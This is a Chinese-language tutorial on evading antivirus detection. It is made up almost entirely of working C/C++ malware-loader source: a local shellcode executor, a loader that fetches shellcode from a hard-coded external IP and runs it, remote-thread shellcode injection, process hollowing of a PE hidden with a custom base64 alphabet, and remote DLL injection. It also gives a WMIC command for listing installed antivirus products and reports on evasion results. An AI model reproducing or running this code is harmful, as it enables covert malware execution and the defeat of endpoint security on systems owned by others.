1.准备工作
1.1 查看杀软名称
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
1.2 在线查杀
https://www.virustotal.com/
2. 免杀方法
2.1分离免杀
2.1.1 shellcode加载器
代码如下:
#include <iostream>
#include <windows.h>
#include <stdio.h>
using namespace std;
int main(int argc,char **argv)
{
char *filename=NULL;
filename = argv[1];
int fileSize=0;
FILE *fp=NULL;
fp = fopen(filename,"rb");
if(fp==NULL){
return 1;
}else{
fseek(fp,0,SEEK_END);
fileSize = ftell(fp);
fseek(fp,0,SEEK_SET);
char *fileBuffer = NULL;
fileBuffer = (char *)malloc(fileSize);
fread(fileBuffer,1,fileSize,fp);
unsigned char *shellcodeBuffer=NULL;
shellcodeBuffer = (unsigned char *)malloc(fileSize/2);
memset(shellcodeBuffer,0,fileSize/2);
for(int i=0;i<fileSize/2;i++){
sscanf(fileBuffer,"\\x%x",&shellcodeBuffer[i]);
fileBuffer = fileBuffer+4;
}
void* exec = VirtualAlloc(0,fileSize/2,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,shellcodeBuffer,fileSize/2);
((void(*)())exec)();
}
return 2;
}

2.1.2 远程加载shellcode
//main.cpp
#include <stdio.h>
#include <iostream>
#include<time.h>
#include "mySocket.h"
#pragma comment(lib, "ws2_32.lib")
using namespace std;
//只是对Socket中使用TCP协议的封装
int MySocket::InitClient(SOCKET *sock, string ip, int port)
{
WSADATA wsaData;//初始化wsaData
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
return -1;
}
//创建套接字
if ((*sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
WSACleanup();
return -1;
}
struct sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(port);
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
if (connect(*sock, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR)
{
return -1;
}
return 0;
}
int MySocket::CloseMySocket(SOCKET *sock)
{
if (closesocket(*sock) == SOCKET_ERROR)
{
WSACleanup();
return -1;
}
return 0 ;
}
int MySocket::RecvData(SOCKET sock, string &data)
{
int bufLen = 255;
char buf[256];
int recvLen= 0;
int iResult;
buf[bufLen] = '\0';
while (true)
{
iResult = recv(sock, buf, bufLen, 0);
if (iResult < 0)
{
data = "";
return -1;
}
recvLen += iResult;
if (iResult == 0)
{
return recvLen;
}
if (iResult == bufLen)
{
data += buf;
ZeroMemory(buf, bufLen);
continue;
}
if (iResult > 0 && iResult < bufLen)
{
data += buf;
return recvLen;
}
}
}
int MySocket::SendData(SOCKET sock, const string data)
{
int iResult = send(sock, data.c_str(), data.length(), 0);
if (iResult == SOCKET_ERROR) {
MySocket::CloseMySocket(&sock);
WSACleanup();
return -1;
}
return 0;
}
int main()
{
SOCKET clientSock;
string str;
int iResult;
if (MySocket::InitClient(&clientSock, "144.202.127.21", 9999) == -1)//主机IP地址+端口号
{
printf("连接失败\n");
return -1;
}
string head = "GET / HTTP/1.1\r\n";
head.append("Host: 144.202.127.21\r\n");//请求的域名
head.append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n");
head.append("User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36\r\n");
head.append("Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n");
head.append("Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7");
head.append("Accept-Encoding: gzip,deflate\r\n");
head.append("\r\n");//表明请求头结束了
iResult = MySocket::SendData(clientSock, head);
if (iResult == -1)
{
printf("发送数据失败\n");
return -1;
}
iResult = MySocket::RecvData(clientSock, str);
if (iResult == -1)
{
printf("接受数据失败\n");
return -1;
}
//printf("----接受数据长度:%d----\n", iResult);
int shellcodeLen=0;
shellcodeLen = iResult-str.find_last_of("\n",iResult-2)-2;
//char* shellcode=NULL;
//printf("%d\n",shellcodeLen);
string shellcode;
shellcode = str.substr(str.find_last_of("\n",iResult-2)+1,shellcodeLen);
MySocket::CloseMySocket(&clientSock);
char* pfilebuffer;
pfilebuffer = (char*)(shellcode.c_str());
//printf(pfilebuffer);
unsigned char *shellcodeBuffer=NULL;
shellcodeBuffer = (unsigned char *)malloc(shellcodeLen/2);
memset(shellcodeBuffer,0,shellcodeLen/2);
for(int i=0;i<shellcodeLen/2;i++){
sscanf(pfilebuffer,"\\x%x",&shellcodeBuffer[i]);
pfilebuffer = pfilebuffer+4;
}
void* exec = VirtualAlloc(0,shellcodeLen/2,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,shellcodeBuffer,shellcodeLen/2);
((void(*)())exec)();
return 0;
}
//mySocket.h
#include <Winsock2.h>
#include <Windows.h>
#include <Ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#include <string>
using namespace std;
//只是对Socket中使用TCP协议的一种封装
class MySocket{
public:
static int InitClient(SOCKET *sock, string ip, int port);
static int CloseMySocket(SOCKET *Sock);
static int SendData(SOCKET sock, const string data);
static int RecvData(SOCKET sock, string &data);
};
免杀效果如下:

2.1.3 shellcode远程线程注入
命令行指定承载了shellcode的文件和要注入的进程pid,从文件中读取一段shellcode,然后把把这段shellcode注入到远程进程中并创建一个线程运行这段shellcode,代码如下:
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
using namespace std;
int main(int argc,char* argv[])
{
int ShellSize = 0;
char* filename = argv[1];
FILE* fp=NULL;
fp = fopen(filename,"rb");
fseek(fp,0,SEEK_END);
ShellSize = ftell(fp);
fseek(fp,0,SEEK_SET);
char* fileBuffer = (char *)malloc(ShellSize);
fread(fileBuffer,1,ShellSize,fp);
unsigned char *shellcodeBuffer=NULL;
shellcodeBuffer = (unsigned char *)malloc(ShellSize/2);
memset(shellcodeBuffer,0,ShellSize/2);
for(int i=0;i<ShellSize/2;i++){
sscanf(fileBuffer,"\\x%x",&shellcodeBuffer[i]);
fileBuffer = fileBuffer+4;
}
ShellSize = ShellSize/2;
int targetPid=atoi(argv[2]);
HANDLE hProcess = ::OpenProcess(PROCESS_CREATE_THREAD |PROCESS_VM_OPERATION |PROCESS_VM_WRITE, FALSE, targetPid);
if (hProcess == NULL)
{
printf("Can't open this process!\n");
return FALSE;
}
LPVOID pThread = VirtualAllocEx(hProcess, NULL, ShellSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pThread, shellcodeBuffer, ShellSize, NULL);
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pThread, NULL, 0, NULL);
return 0;
}
运行效果及免杀效果如下图所示:

2.1.4 PE文件加载
1.首先将一个exe文件使用修改过编码顺序的base64编码算法进行编码,代码如下:
//base64.cpp
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
const char * base64char = "BACDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char * base64_encode(char * bindata, char * base64, int binlength )
{
int i, j;
unsigned char current;
for ( i = 0, j = 0 ; i < binlength ; i += 3 )
{
current = (bindata[i] >> 2) ;
current &= (unsigned char)0x3F;
base64[j++] = base64char[(int)current];
current = ( (unsigned char)(bindata[i] << 4 ) ) & ( (unsigned char)0x30 ) ;
if ( i + 1 >= binlength )
{
base64[j++] = base64char[(int)current];
base64[j++] = '=';
base64[j++] = '=';
//printf("%x",i);
break;
}
//printf("%d\n",i);
current |= ( (unsigned char)(bindata[i+1] >> 4) ) & ( (unsigned char) 0x0F );
base64[j++] = base64char[(int)current];
current = ( (unsigned char)(bindata[i+1] << 2) ) & ( (unsigned char)0x3C ) ;
if ( i + 2 >= binlength )
{
base64[j++] = base64char[(int)current];
base64[j++] = '=';
break;
}
current |= ( (unsigned char)(bindata[i+2] >> 6) ) & ( (unsigned char) 0x03 );
base64[j++] = base64char[(int)current];
current = ( (unsigned char)bindata[i+2] ) & ( (unsigned char)0x3F ) ;
base64[j++] = base64char[(int)current];
}
base64[j] = '\0';
return base64;
}
int main(int argc, char* argv[])
{
FILE *fp = NULL;
unsigned int size; //文件字节数
char *buffer;
char *buffer1;
size_t result;
char *ret1;
unsigned int length;
char* filename=NULL;
filename = argv[1];
fp = fopen(filename,"rb");
if (NULL == fp)
{
printf("open_error");
exit(1);
}
//获取文件大小
fseek(fp, 0L, SEEK_END);
size = ftell(fp);
fseek(fp, 0L, SEEK_SET);
printf("Sizeof file length is : %d \n",size);
//分配内存存储整个文件
buffer = (char *)malloc((size/4+1)*4);
if (NULL == buffer)
{
printf("memory_error");
exit(2);
}
//将文件拷贝到buffer
result = fread(buffer, 1, size, fp);
if (result != size)
{
printf("reading_error");
exit (3);
}
fclose(fp);
//base64编码
buffer1 = (char *)malloc((size/4+1)*8);
if (NULL == buffer1)
{
printf("memory_error");
exit(2);
}
ret1 = base64_encode(buffer, buffer1, size);
length = strlen(buffer1);
FILE *fp1 = fopen(argv[2],"ab");
fprintf(fp1,"char* encodeedFile=\"");
fwrite(buffer1, strlen(buffer1), 1, fp1);
fprintf(fp1,"\";");
free(buffer);
free(buffer1);
printf("Generate File Success!! Filename is %s",argv[2]);
return 0;
}
使用方法如下图所示:

2.将生成的.h文件拷贝到base64decode项目和main.cpp文件同级目录中进行编译,base64decode的main.cpp内容如下:
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <windows.h>
#include "res.h"
using namespace std;
const char * base64char = "BACDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int base64_decode(char * base64,char * bindata )
{
int i, j;
unsigned char k;
unsigned char temp[4];
for ( i = 0, j = 0; base64[i] != '\0' ; i += 4 )
{
memset( temp, 0xFF, sizeof(temp) );
for ( k = 0 ; k < 64 ; k ++ )
{
if ( base64char[k] == base64[i] )
temp[0]= k;
}
for ( k = 0 ; k < 64 ; k ++ )
{
if ( base64char[k] == base64[i+1] )
temp[1]= k;
}
for ( k = 0 ; k < 64 ; k ++ )
{
if ( base64char[k] == base64[i+2] )
temp[2]= k;
}
for ( k = 0 ; k < 64 ; k ++ )
{
if ( base64char[k] == base64[i+3] )
temp[3]= k;
}
bindata[j++] = ((unsigned char)(((unsigned char)(temp[0] << 2))&0xFC)) |
((unsigned char)((unsigned char)(temp[1]>>4)&0x03));
if ( base64[i+2] == '=' )
break;
bindata[j++] = ((unsigned char)(((unsigned char)(temp[1] << 4))&0xF0)) |
((unsigned char)((unsigned char)(temp[2]>>2)&0x0F));
if ( base64[i+3] == '=' )
break;
bindata[j++] = ((unsigned char)(((unsigned char)(temp[2] << 6))&0xF0)) |
((unsigned char)(temp[3]&0x3F));
}
return j;
}
PIMAGE_DOS_HEADER getDosHeader(char *filebuffer){
//声明所要用到的变量
PIMAGE_DOS_HEADER pDosHeader = NULL;
//获取DOS头
pDosHeader = (PIMAGE_DOS_HEADER)filebuffer;
return pDosHeader;
}
PIMAGE_NT_HEADERS32 getNTHeader(char *filebuffer){
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)filebuffer;
PIMAGE_NT_HEADERS pNTHeader = PIMAGE_NT_HEADERS(filebuffer + (*pDosHeader).e_lfanew);
return pNTHeader;
}
char* getImageBufferFromFileBuffer(char* pfileBuffer){
char *pImageBuffer=NULL;
PIMAGE_DOS_HEADER pDosHeader = getDosHeader(pfileBuffer);
PIMAGE_NT_HEADERS32 pNTHeader = getNTHeader(pfileBuffer);
pImageBuffer = (char *)malloc(pNTHeader->OptionalHeader.SizeOfImage);//申请imagebuffer
if (pImageBuffer==NULL){
printf("malloc imageBuffer failed!\n");
}else{
//复制PE头
memcpy(pImageBuffer,pfileBuffer,pNTHeader->OptionalHeader.SizeOfHeaders);
//复制每一节
for(int i=0;i<pNTHeader->FileHeader.NumberOfSections;i++){
PIMAGE_SECTION_HEADER pTmpImageSectionHeader=NULL;
pTmpImageSectionHeader = PIMAGE_SECTION_HEADER(pfileBuffer + (pDosHeader->e_lfanew) + sizeof(pNTHeader->Signature) +sizeof(IMAGE_FILE_HEADER) + pNTHeader->FileHeader.SizeOfOptionalHeader+i*sizeof(IMAGE_SECTION_HEADER));
memcpy(pImageBuffer+pTmpImageSectionHeader->VirtualAddress,pfileBuffer+pTmpImageSectionHeader->PointerToRawData,pTmpImageSectionHeader->SizeOfRawData);
}
}
return pImageBuffer;
}
int main()
{
char* bindata = (char *)malloc(strlen(encodeedFile));
base64_decode(encodeedFile,bindata);
char* pFileBuffer = bindata;
PIMAGE_DOS_HEADER pDosHeader = getDosHeader(pFileBuffer);
PIMAGE_NT_HEADERS32 pNTHeader = getNTHeader(pFileBuffer);
char* pImageBuffer=getImageBufferFromFileBuffer(pFileBuffer);
char currentFilename[MAX_PATH]={0};
::GetModuleFileName(NULL,currentFilename,MAX_PATH);
STARTUPINFO myStartUpInfo;
::memset(&myStartUpInfo, 0 ,sizeof(myStartUpInfo)); //创建进程启动信息结构体
myStartUpInfo.cb = sizeof(myStartUpInfo);
PROCESS_INFORMATION myProcessInfo;
::memset(&myProcessInfo, 0 ,sizeof(myProcessInfo)); //创建进程返回信息结构体
CreateProcess(currentFilename,
NULL,
NULL,
NULL,
false,
CREATE_SUSPENDED,
NULL,
NULL,
&myStartUpInfo,
&myProcessInfo
); //以挂起的方式创建进程
CONTEXT context;
context.ContextFlags = CONTEXT_FULL; //创建线程context结构用于存储所创建进程主线程的context
::GetThreadContext(myProcessInfo.hThread,&context);
DWORD dwRemoteImageBase; //获取傀儡进程ImageBase
ReadProcessMemory(myProcessInfo.hProcess,(LPVOID)(context.Ebx+8),&dwRemoteImageBase,sizeof(DWORD),NULL);
//卸载傀儡程序
HMODULE hntDll = GetModuleHandle(TEXT("ntdll.dll"));
typedef unsigned long(__stdcall *pfZwUnmapViewOfSection)(unsigned long, unsigned long);
pfZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;
ZwUnmapViewOfSection = (pfZwUnmapViewOfSection)GetProcAddress(hntDll,"ZwUnmapViewOfSection");
BOOL res = FALSE;
if (ZwUnmapViewOfSection)
{
res = (ZwUnmapViewOfSection((unsigned long)myProcessInfo.hProcess, dwRemoteImageBase) == 0);
}
if (res){
//在远程进程空间中申请内存
void *pRemoteImageBase=NULL;
pRemoteImageBase = VirtualAllocEx(myProcessInfo.hProcess,(PVOID)dwRemoteImageBase,(DWORD)(pNTHeader->OptionalHeader.SizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//尝试在远程空间中原有的imagebase中获得内存
if (pRemoteImageBase != NULL){
printf("get VirtualAllocEx success.\n"); //获取成功
}else{
pRemoteImageBase = VirtualAllocEx(myProcessInfo.hProcess,NULL,(DWORD)(pNTHeader->OptionalHeader.SizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//修复重定位表
PIMAGE_BASE_RELOCATION pImageBaseRelaction=NULL;
pImageBaseRelaction = PIMAGE_BASE_RELOCATION(pImageBuffer+ pNTHeader->OptionalHeader.DataDirectory[5].VirtualAddress);
while(pImageBaseRelaction->VirtualAddress!=0){ //遍历RELOCATION数据块
//遍历每一个RELOCATION数据块中的数据项
struct TypeOffset{
WORD offset : 12;
WORD type : 4;
};
TypeOffset* pTypeOffset=NULL;
DWORD *ptmp = NULL;
for(int i=0;i<((DWORD)pImageBaseRelaction->SizeOfBlock-8)/2;i++){
pTypeOffset = (TypeOffset *)((DWORD)pImageBaseRelaction+8+i*2);
char *realRVA=NULL;
if(pTypeOffset->type==3){
realRVA = (char *)((DWORD)pImageBaseRelaction->VirtualAddress+pTypeOffset->offset);
ptmp = (DWORD *)((DWORD)pImageBuffer+(DWORD)realRVA);
*ptmp = DWORD(*ptmp) - pNTHeader->OptionalHeader.ImageBase + (DWORD)pRemoteImageBase;
}
}
pImageBaseRelaction=PIMAGE_BASE_RELOCATION((DWORD)pImageBaseRelaction+pImageBaseRelaction->SizeOfBlock);
}
}
DWORD writeRes=NULL;
WriteProcessMemory(myProcessInfo.hProcess,pRemoteImageBase,pImageBuffer,pNTHeader->OptionalHeader.SizeOfImage,&writeRes);
context.Eax = (DWORD)(pNTHeader->OptionalHeader.AddressOfEntryPoint) + (DWORD)pRemoteImageBase;//修改context的OEP
::SetThreadContext(myProcessInfo.hThread,&context);
//修改远程进程的ImageBase
LPVOID baseAddress=NULL;
baseAddress = (LPVOID)(context.Ebx+8);
WriteProcessMemory(myProcessInfo.hProcess,baseAddress,&pRemoteImageBase,sizeof(pRemoteImageBase),NULL);
ReadProcessMemory(myProcessInfo.hProcess,(LPVOID)(context.Ebx+8),&dwRemoteImageBase,sizeof(DWORD),NULL);
ResumeThread(myProcessInfo.hThread);
}else{
printf("Get memory failed!");
}
return 0;
}
3.查杀结果如下图所示:

2.1.5 远程dll注入
将一个设置好的dll加载到一个别人的进程中,代码如下:
#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
int main(int argc,char* argv[])
{
char* dllPath = NULL;
dllPath = argv[1];
int targetPid=0;
targetPid = atoi(argv[2]);
//printf("dll path : %s\n",dllPath);
//printf("target process id : %d\n",targetPid);
HANDLE hProcess = ::OpenProcess(PROCESS_CREATE_THREAD |PROCESS_VM_OPERATION |PROCESS_VM_WRITE, FALSE, targetPid);
if (hProcess == NULL)
{
printf("Can't open this process!\n");
return FALSE;
}
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINE pfnLoadLibraryA = (LPTHREAD_START_ROUTINE)::GetProcAddress(hKernel32, "LoadLibraryA");
int dllPathLen = strlen(dllPath)+1;
LPVOID lpRemoteDllPath = ::VirtualAllocEx(hProcess, 0, dllPathLen, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpRemoteDllPath, dllPath, dllPathLen, NULL);
HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, pfnLoadLibraryA, lpRemoteDllPath, NULL, NULL);
if (NULL == hRemoteThread)
{
::CloseHandle(hProcess);
return FALSE;
}
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
printf("Dll inject success!\n");
return 0;
}
效果如下图所示,但事实上这个免杀结果肯定是不准的。
